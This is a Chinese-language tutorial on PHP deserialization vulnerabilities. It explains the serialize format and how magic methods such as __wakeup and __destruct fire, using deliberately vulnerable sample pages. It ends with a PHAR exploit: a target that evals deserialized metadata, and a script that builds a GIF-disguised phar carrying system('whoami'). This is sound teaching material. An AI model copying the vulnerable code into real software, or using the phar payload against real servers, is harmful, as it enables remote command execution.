简介

php反序列化基本上是围绕着serialize()unserialize()两个函数展开的,还有PHAR协议用于解析phar文件,phar文件的meta-data字段存在反序列化漏洞,可以使用协议读取文件触发反序列化。那么什么是序列化呢?序列化就是将一个对象变成可以传输的字符串,而反序列化其实就是将序列化得到的字符串再转变成对象。
首先上例子:
我们先讲简单的json序列化/反序列化,json格式就是一种序列化,虽然序列化json和php的反序列化漏洞无直接的联系,但是在理解反序列化这个概念会有所帮助

  1. json_encode()
  2. json_decode()
  1. <?php
  2. $book = array('book_1' => 'test_1','book_2' => 'test_2','book_3' => 'test_3', 'book_4' => 'test_4');
  3. $json = json_encode($book);
  4. echo $json;
  5. ?>

在这里我们有一个book数组,如果需要传输这个数组,我们可以利用json_encode()函数将这个数据序列化成一串字符串,以key-value的形式展示出来

  1. 'book_1' => 'test_1',
  2. 'book_2' => 'test_2',
  3. 'book_3' => 'test_3',
  4. 'book_4' => 'test_4'

image.png
所以我们将数组序列化成json格式的字符串的目的就是为了方便传输,我们可以看见,这里json格式来保存数据主要是使用键值对格式来保存的。
json格式只是为了传输数据而出现的,那么我们讲反序列化漏洞的话,就需要将字符串反序列化成对象。

概念

在这里我写一个class,在这个class中存有一些变量,当这个class被实例化之后,在使用过程中,里面的一些变量发生了改变,当如果以后某些时候还会用到这个变量,如果我们让这个class一直不销毁,就会浪费系统资源。如果我们将这个对象序列化,将其保存成一个字符串,当你需要使用的时候,再将其反序列化为对象就可以了。

  1. <?php
  2. class DemoClass{
  3. public $name = "test";
  4. public $sex = "man";
  5. public $age = "24";
  6. }
  7. $example = new DemoClass();
  8. $example->name = "aaron";
  9. $example->sex = "woman";
  10. $example->age = 22;
  11. echo serialize($example);
  12. ?>

在这里,我们首先创建了一个DemoClass,里面存了一些数据,然后我们实例化了一个对象,并将这个对象里的信息改变了,当我们还需要使用这个实例的话,就将序列化(serialize)后的字符串存起来,需要使用的时候再反序列化(unserialize)出来就可以了
我们可以看一下结果
image.png
这个时候,序列化对象出来的格式和json格式不一样

  1. O:9:"DemoClass":3:{s:4:"name";s:5:"aaron";s:3:"sex";s:5:"woman";s:3:"age";i:22;}
  2. // O 表示 object,这里还有一个情况是AA表示是Array表示数组
  3. // O:9 这个9 表示对象名表示占9个字符
  4. // O:9:"DemoClass":3 这个3 表示是对象里有三个变量
  5. // {s:4:"name";s:5:"aaron";} s=> 表示String 类型格式,s:4 4=>表示变量名占4位(name),s:5表示name的值(aaron)是String类型格式,且占5
  6. // i => 表示是int类型格式,后面直接跟数据
  7. // d => 表示double类型格式

然后如果反序列化(unserialize)回来

  1. <?php
  2. class DemoClass{
  3. public $name = "test";
  4. public $sex = "man";
  5. public $age = "24";
  6. }
  7. $example = new DemoClass();
  8. $example->name = "aaron";
  9. $example->sex = "woman";
  10. $example->age = 21;
  11. $val = serialize($example);
  12. $x = unserialize($val);
  13. echo $x->name;
  14. ?>

image.png

原理

php里的魔术方法,通常因为某些条件而触发,不需要手动调用,我理解的是钩子函数吧,也就是生命周期的概念。

魔术方法

  1. __construct() //当一个对象创建时被调用
  2. __destruct() //当一个对象销毁时被调用
  3. __toString() //当一个对象被当作一个字符串使用
  4. __sleep() //在对象在被序列化之前运行
  5. __wakeup //在对象被反序列化时被调用

理解这几个魔术函数,如果php接收我们反序列化的字符串,且在魔术方法中能够直接执行我们构造的payload,就会造成反序列化漏洞
看一个简单的例子:

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __destruct(){
  5. echo $this->test;
  6. }
  7. }
  8. $a = $_GET['test'];
  9. $a_unser = unserialize($a);
  10. ?>

这里表示是我们传入test参数,然后在反序列化成对象,然后在其生命周期当这个反序列化生成的对象要被销毁的时候调用echo 方法,输出test参数
那么我们构造如下payload

  1. O:1:"A":1:{s:4:"test";s:11:"hello,world";}

test参数可控的情况下,就会输出hello,world
image.png
我们在来尝试不同的生命周期

__construtor

在这里,construct是处于创建对象的生命周期中,当创建对象的时候会调用该函数,这里要被利用的话,需要配合另一个Class,这里先用__wakeup在被反序列化时,new一个新的对象A,并传入参数,这里表示test参数可控的情况下,当test参数可控,并在反序列化后,将test参数传入A的新实例中,那么只要constructor中存在可执行代码或者执行命令的函数,那么造成影响

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __construct($test){
  5. echo "<br/>";
  6. echo $test;
  7. }
  8. }
  9. class B{
  10. public $test_1 = "";
  11. function __wakeup(){
  12. $obj = new A($this->test_1);
  13. }
  14. }
  15. $a = $_GET['test'];
  16. echo $a;
  17. $a_unser = unserialize($a);
  18. new A("123");
  19. ?>
  1. O:1:"B":1:{s:6:"test_1";s:11:"hello,world";}

image.png

__destruct

在这里,destruct处于对象被销毁的生命周期,当实例化之后,当对该对象的操作完成之后,那么php的回收机制则会回收该对象,这里就会调用该钩子函数,这里表示test参数可控的情况下,并在反序列化后之后,再打印该值,那么只要destruct中存在可执行代码或者执行命令的函数,那么就会造成影响

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __destruct(){
  5. echo "<br/>";
  6. echo $this->test;
  7. }
  8. }
  9. $a = $_GET['test'];
  10. echo $a;
  11. $a_unser = unserialize($a);
  12. ?>
  1. O:1:"A":1:{s:4:"test";s:11:"hello,world";}

image.png

__toString

在这里,toString处于当需要将对象输出的生命周期,当反序列化之后,需要输出对象并将其值用作上下文中使用,那么将对调用该钩子函数,当$test参数可控的情况下,在反序列化之后形成对象时,如果需要输出该对象,那么只要toString方法中存在可执行代码或者命令的函数,那么就会造成影响

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __toString(){
  5. echo "toString()<br/>";
  6. return $this->test;
  7. }
  8. }
  9. $a = $_GET['test'];
  10. echo $a;
  11. echo "<br/>";
  12. $a_unser = unserialize($a);
  13. echo $a_unser;
  14. ?>
  1. O:1:"A":1:{s:4:"test";s:11:"hello,world";}

image.png

__sleep

在这里,sleep处于当需要序列化对象的生命周期,在序列化之前,存在该钩子,则会返回一个包含对象中所有应被序列化的变量名称的数组,当$test参数可控的情况下,在序列化之后形成字符串时,那么只要sleep方法中存在可执行代码或者命令的函数,那么就会造成影响

  1. <?php
  2. class A{
  3. var $test = '';
  4. function __construct($test){
  5. $this->test = $test;
  6. }
  7. function __sleep(){
  8. echo "__sleep()<br>";
  9. echo $this->test;
  10. echo "<br>";
  11. return array('test');
  12. }
  13. }
  14. class B{
  15. public $test_1 = "";
  16. function __wakeup(){
  17. $obj = new A($this->test_1);
  18. echo serialize($obj);
  19. }
  20. }
  21. $a = $_GET['test'];
  22. echo $a,"<br>";
  23. $a_unser = unserialize($a);
  24. ?>
  1. O:1:"B":1:{s:6:"test_1";s:11:"hello,world";}

image.png
image.png

__wakeup

在这里wakeup 是字符串反序列化的时候,会调用该钩子函数,只要执行unserialize方法就会触发该方法,其实我们关注php反序列化漏洞特别需要关注的魔术方法应该是`wakeupdestruct,因为这两个方法只要在反序列化过程中一定会用到的,尤其是__wakeup`

  1. <?php
  2. class A{
  3. var $test = '';
  4. function __construct($test){
  5. $this->test = $test;
  6. }
  7. function __wakeup(){
  8. echo "__wakeup()<br>";
  9. echo $this->test;
  10. }
  11. }
  12. $a = $_GET['test'];
  13. echo $a,"<br>";
  14. $a_unser = unserialize($a);
  15. ?>
  1. O:1:"A":1:{s:4:"test";s:11:"hello,world";}

image.png
image.png

例子

  1. <?php
  2. class A{
  3. var $file = '';
  4. function __construct($file=''){
  5. $this->file = $file;
  6. }
  7. function readfile() {
  8. if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
  9. return @file_get_contents($this->file);
  10. }
  11. else{
  12. echo "false";
  13. }
  14. }
  15. }
  16. $x = new A();
  17. isset($_GET['test']) && $g = $_GET['test'];
  18. if (!empty($g)) {
  19. echo $g,"<br>";
  20. $x = unserialize($g);
  21. }
  22. echo $x->readfile();
  23. ?>

在这里,当实例化之前,调用construt魔术方法,如果未给file传值,那么file默认为空,如果test参数为空,则不输出文件,那么要输出文件内容则需要置参数不为空,其需要将参数反序列化,最后再调用反序列化后对象的readfile函数,并在这个对象实例中必须得存在file值,所以在这里构造反序列化字符串,但是在readfile里也有限制,不能使用相对路径,也不能带绝对路径,只能访问当前目录的文件

  1. O:1:"A":1:{s:4:"file";s:5:"1.txt";}

image.png

PHAR

  1. <?php
  2. class AnyClass{
  3. function __destruct() {
  4. var_dump($_this);
  5. eval($this -> output);
  6. }
  7. }
  8. file_get_contents($_GET["file"]);

生成phar文件的poc

  1. <?php
  2. class AnyClass{
  3. function __destruct()
  4. {
  5. echo $this -> output;
  6. }
  7. }
  8. @unlink("phar.phar");
  9. $phar = new Phar('phar.phar');
  10. $phar -> stopBuffering();
  11. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  12. $phar -> addFromString('test.txt','test');
  13. $object = new AnyClass();
  14. $object -> output= 'system("whoami");';
  15. $phar -> setMetadata($object);
  16. $phar -> stopBuffering();

PHP 反序列化 - 图13
PHP 反序列化 - 图14

参考链接

https://www.freebuf.com/articles/web/167721.html